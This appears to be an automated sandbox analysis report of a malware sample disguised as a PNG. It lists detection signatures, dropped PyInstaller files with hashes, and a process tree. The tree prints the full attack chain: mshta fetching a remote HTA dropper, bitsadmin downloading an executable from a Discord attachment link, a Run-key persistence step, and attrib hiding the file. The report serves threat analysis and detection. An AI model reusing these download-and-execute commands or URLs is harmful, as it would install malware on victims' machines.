Analysis

  • user interaction
    yes
  • max time kernel
    480s
  • max time network
    479s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-de
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-delocale:de-deos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 13:12

General

  • Target
    cat_transparent_under_250kb.png
  • Size 100KB
  • Sample261023-qfmessysav
  • SHA256 6baa446ac53490d024b3080b02941c047633c1caf1f221d982d42ccd55c114ab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://yg-isgz.onrender.com/

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Download via BitsAdmin 1 TTPs 2 IoCs
  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 11 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Windows\system32\mspaint.exe
    "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\cat_transparent_under_250kb.png"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    PID:4108
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
    1⤵
    • Checks SCSI registry key(s)
    PID:4068
  • C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" https://yg-isgz.onrender.com/
    1⤵
    • Badlisted process makes network request
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\System32\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer d /download /priority high "https://cdn.discordapp.com/attachments/1529518191569670255/1563169099507572786/navi.exe?ex=6adca62b&is=6adb54ab&hm=a827eb589c80a95472b295b4e3ae1192243d20e548f5191be3a03c94d8098094&" "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      2⤵
      • Download via BitsAdmin
      PID:2612
    • C:\Users\Admin\AppData\Local\Temp\wd.exe
      "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1276
      • C:\Users\Admin\AppData\Local\Temp\wd.exe
        "C:\Users\Admin\AppData\Local\Temp\wd.exe"
        3⤵
        • Loads dropped DLL
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Windows\SYSTEM32\attrib.exe
          attrib +h C:\Users\Admin\AppData\Local\Temp\wd.exe
          4⤵
          • Views/modifies file attributes
          PID:2124
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    PID:3884
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2408
    • C:\Users\Admin\AppData\Local\Temp\wd.exe
      "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4456
      • C:\Users\Admin\AppData\Local\Temp\wd.exe
        "C:\Users\Admin\AppData\Local\Temp\wd.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\SYSTEM32\attrib.exe
          attrib +h C:\Users\Admin\AppData\Local\Temp\wd.exe
          3⤵
          • Views/modifies file attributes
          PID:1944
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://yg-isgz.onrender.com/
      1⤵
      • Badlisted process makes network request
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:568
      • C:\Windows\System32\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer d /download /priority high "https://cdn.discordapp.com/attachments/1529518191569670255/1563179716301561957/navi.exe?ex=6adcb00e&is=6adb5e8e&hm=6e58fd98351819de741fb7aa6aafa8533148415da00bda6f22575111fc036576&" "C:\Users\Admin\AppData\Local\Temp\wd.exe"
        2⤵
        • Download via BitsAdmin
        PID:4316
      • C:\Users\Admin\AppData\Local\Temp\wd.exe
        "C:\Users\Admin\AppData\Local\Temp\wd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5204
        • C:\Users\Admin\AppData\Local\Temp\wd.exe
          "C:\Users\Admin\AppData\Local\Temp\wd.exe"
          3⤵
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:4264
          • C:\Windows\SYSTEM32\attrib.exe
            attrib +h C:\Users\Admin\AppData\Local\Temp\wd.exe
            4⤵
            • Views/modifies file attributes
            PID:3924

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          MSVCP140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\PyQt5\Qt5\bin\MSVCP140.dll
          • Size 576KB
          • SHA256 88f55d86b50b0a7e55e71ad2d8f7552146ba26e927230daf2e26ad3a971973c5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSVCP140_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\PyQt5\Qt5\bin\MSVCP140_1.dll
          • Size 30KB
          • SHA256 446c48c1224c289bd3080087fe15d6759416d64f4136addf30086abd5415d83f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Qt5Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\PyQt5\Qt5\bin\Qt5Core.dll
          • Size 5.7MB
          • SHA256 8d2ff4ce9096ddccc4f4cd62c2e41fc854cfd1b0d6e8d296645a7f5fd4ae565a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          QtCore.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\PyQt5\QtCore.pyd
          • Size 2.4MB
          • SHA256 d6e45fd8c3b3f93f52c4d1b6f9e3ee220454a73f80f65f3d70504bd55415ea37
          • MD5 SHA1 SHA512 SSDEEP TLSH

          sip.cp315-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\PyQt5\sip.cp315-win_amd64.pyd
          • Size 119KB
          • SHA256 af68e1409202b50b36865107add91b369e05e33d27c2114152b28eb01e9ef8ce
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\VCRUNTIME140.dll
          • Size 174KB
          • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\VCRUNTIME140_1.dll
          • Size 48KB
          • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _asyncio.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_asyncio.pyd
          • Size 76KB
          • SHA256 823d73d89b646eecbd0b44fa07715bec8ba6ee1deff25b554eabac21b421ae4e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_bz2.pyd
          • Size 84KB
          • SHA256 a57ad7b6355659277ab3048ecb8878b713305cf7a566cebed90319d333d44941
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_ctypes.pyd
          • Size 140KB
          • SHA256 0dab147f138b1c2294727c0c411b1313f798a9d0bf12b827b3c243c4fea628d1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_hashlib.pyd
          • Size 71KB
          • SHA256 1aed3affa3bf88fb4ed1c1294fd23a4dae4c0c2378e139ae2d19b5f68ebac022
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_lzma.pyd
          • Size 167KB
          • SHA256 a3163ce72075f46e8d4f2e84c7bd6c30b354cfc9af77145ecd8f07cd758b07a8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _overlapped.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_overlapped.pyd
          • Size 56KB
          • SHA256 060b4a531d8cc8ca88ee1aaa1b7b14df1812c63573dd863acfc28e248a07b252
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_queue.pyd
          • Size 35KB
          • SHA256 ebce600509f8fcc45ca264775b70d1a7848300b1669eff6babab5a1244195d3f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_socket.pyd
          • Size 86KB
          • SHA256 95d9fec06c9dc9c61ce3335bd83160851bce90f936615a9ba564ecedd3e76e7c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_ssl.pyd
          • Size 194KB
          • SHA256 3941ff2e737757468b5d5c4c4c3a848019ce0e85a9ad32b8deb8d5cf5df93e56
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _tkinter.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_tkinter.pyd
          • Size 69KB
          • SHA256 da22665d0646e9feac392ccb20564bb5d0c3824d33e1d172bdb529503e5de176
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _wmi.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_wmi.pyd
          • Size 38KB
          • SHA256 25643fe7a149c2d36f6a3b18638e3dac3a20a7a198e8b8215d37e30b28ab6244
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _zstd.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\_zstd.pyd
          • Size 494KB
          • SHA256 65f7f0b0f204ea3fd9ea53a3d6f54e2f7f802188ee1a1ba1b1cdf3674684993d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\base_library.zip
          • Size 1.4MB
          • SHA256 acbe1732085cab4157daee4b0b24da181a0bc0b6da9e272417c435868789ee36
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cd.cp315-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\charset_normalizer\cd.cp315-win_amd64.pyd
          • Size 116KB
          • SHA256 a673fbfc2e6e63e0817dffa2745e7f24aa39845d20fe7da3979d48f6afd771bd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          md.cp315-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\charset_normalizer\md.cp315-win_amd64.pyd
          • Size 206KB
          • SHA256 e5bc67ba723aea88709dfcfdce5c647df732621a94ed5bfc0bcd8141b80f866f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\libcrypto-3.dll
          • Size 5.7MB
          • SHA256 75495fe0e079ab00d49be740d3c710a0b94e3f74f9648cb7cc9f768fc7f52319
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\libffi-8.dll
          • Size 38KB
          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\libssl-3.dll
          • Size 1.2MB
          • SHA256 8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libtommath.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\libtommath.dll
          • Size 79KB
          • SHA256 2d760fefb452665b6af8c8d9d29f3a8378f10fc0847cdd9938ea0cb5edf1d573
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\python3.dll
          • Size 74KB
          • SHA256 03538664aa98aea3732c8345f8229e9c5deb26532b3e652fa3d9f757b867e46c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python315.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\python315.dll
          • Size 7.5MB
          • SHA256 62507168f11f1a9bb6c6982322e0320477cf703a7382bdbe608a124a457126b1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\select.pyd
          • Size 32KB
          • SHA256 641c4d2365d15ba1da857fd783b64ef67624077cc50ff3bd8566fe484b109342
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Lorem ipsum.txt

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
          • Size 1KB
          • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
          • MD5 SHA1 SHA512 TLSH

          tcl90.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\tcl90.dll
          • Size 3.2MB
          • SHA256 a1fb45f963b05cb083a97df1449c2023b484eb921d40a463da7501b0f60e0f70
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tcl9tk90.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\tcl9tk90.dll
          • Size 2.0MB
          • SHA256 31f625c52e65d29d126e710ed8bab2ec964cb770e4fc59bc329dfff02cb6ddcf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004fc2\unicodedata.pyd
          • Size 735KB
          • SHA256 67d569e47ab2cd164ee6e42e5811b787d18230eb02b47adf3e45cc67205eef79
          • MD5 SHA1 SHA512 SSDEEP TLSH

          qt_en.qm

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011682\PyQt5\Qt5\translations\qt_en.qm
          • Size 16B
          • SHA256 9959b510b15d18937848ad13007e30459d2e993c67e564badbfc18f935695c85
          • MD5 SHA1 SHA512

          memory/1304-311-0x00007FFD197F0000-0x00007FFD19A53000-memory.dmp

          memory/3884-22-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/3884-21-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/3884-23-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/3884-12-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/3884-20-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/3884-19-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/3884-18-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/3884-14-0x0000024216520000-0x0000024216521000-memory.dmp

          memory/4132-573-0x00007FFD168A0000-0x00007FFD16B03000-memory.dmp

          memory/4264-813-0x00007FFD1A170000-0x00007FFD1A3D3000-memory.dmp